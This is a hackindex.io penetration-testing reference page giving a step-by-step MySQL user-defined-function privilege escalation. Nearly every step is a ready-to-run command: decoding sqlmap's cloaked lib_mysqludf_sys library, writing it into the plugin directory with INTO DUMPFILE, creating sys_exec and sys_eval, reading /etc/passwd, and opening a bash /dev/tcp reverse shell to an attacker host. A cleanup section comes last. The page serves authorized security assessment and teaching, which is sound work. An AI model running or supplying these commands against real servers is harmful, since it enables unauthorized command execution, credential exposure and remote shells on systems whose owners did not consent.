# MySQL UDF Privilege Escalation

- **URL:** https://hackindex.io/services/mysql/exploitation/mysql-udf-privilege-escalation
- **Path:** MySQL > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/mysql/exploitation.md)
- **Published:** 2026-03-26
- **Updated:** 2026-03-26

MySQL user-defined functions (UDFs) are custom functions loaded from a shared library on the server filesystem. When an attacker can write a malicious shared library to the MySQL plugin directory and load it as a UDF, they gain the ability to execute OS commands through SQL queries. The commands run as the MySQL process user: typically `mysql` on Linux. On systems where MySQL runs as root this is direct root code execution. This technique requires FILE privilege, CREATE ROUTINE privilege, and write access to the plugin directory.

## MySQL UDF Privilege Escalation Prerequisites

Confirm the required privileges and identify the plugin directory:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SHOW GRANTS FOR CURRENT_USER(); SHOW VARIABLES LIKE 'plugin_dir'; SHOW VARIABLES LIKE 'secure_file_priv';"
# plugin_dir: /usr/lib/mysql/plugin/
# secure_file_priv:
```

Required for this technique:

- FILE privilege to write the shared library to disk
- CREATE ROUTINE privilege to register the UDF function
- `secure_file_priv` empty or set to a path that includes the plugin directory
- Plugin directory writable by the MySQL process user

## Get the UDF Shared Library from sqlmap

sqlmap ships precompiled UDF libraries for both Linux and Windows. The `.so_` files are XOR/zlib-cloaked (to avoid AV detection at rest) and must be decoded with sqlmap's own `cloak.py` utility before use:

```bash
find / -name 'lib_mysqludf_sys*' 2>/dev/null
# /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
```

```bash
python3 /usr/share/sqlmap/extra/cloak/cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o /tmp/lib_mysqludf_sys.so
```

## Convert the Library to a Hex String

MySQL's INTO DUMPFILE requires the binary content as a hex literal to avoid encoding issues:

```bash
xxd -p /tmp/lib_mysqludf_sys.so | tr -d '\n' > /tmp/udf.hex
echo "SELECT 0x$(cat /tmp/udf.hex) INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';" > /tmp/write-udf.sql
```

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD < /tmp/write-udf.sql
# Query OK, 1 row affected (0.02 sec)
```

## Create the UDF Function

Load the shared library and create the UDF function that exposes OS command execution:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so';"
```

## Execute OS Commands via the UDF

`sys_eval` returns command output as a string. `sys_exec` executes silently and returns the exit code:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT sys_eval('id');"
# +-----------------------------+
# | sys_eval('id')              |
# +-----------------------------+
# | uid=112(mysql) gid=117(mysql) groups=117(mysql) |
# +-----------------------------+
```

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT sys_eval('cat /etc/passwd');"
```

## Get a Reverse Shell via UDF

```bash
nc -lvnp $LPORT
```

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT sys_exec('bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"');"
```

## Clean Up After the Assessment

Remove the UDF function and shared library after the assessment to avoid leaving persistent backdoors:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_eval;"
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT sys_exec('rm /usr/lib/mysql/plugin/lib_mysqludf_sys.so');"
```

## References

- [MySQL: CREATE FUNCTION for loadable functions](https://dev.mysql.com/doc/refman/8.0/en/create-function-loadable.html) - UDF loading syntax, SONAME reference, and plugin directory requirements
- [sqlmap UDF libraries on GitHub](https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/mysql) - Precompiled lib_mysqludf_sys libraries for Linux and Windows x86/x64
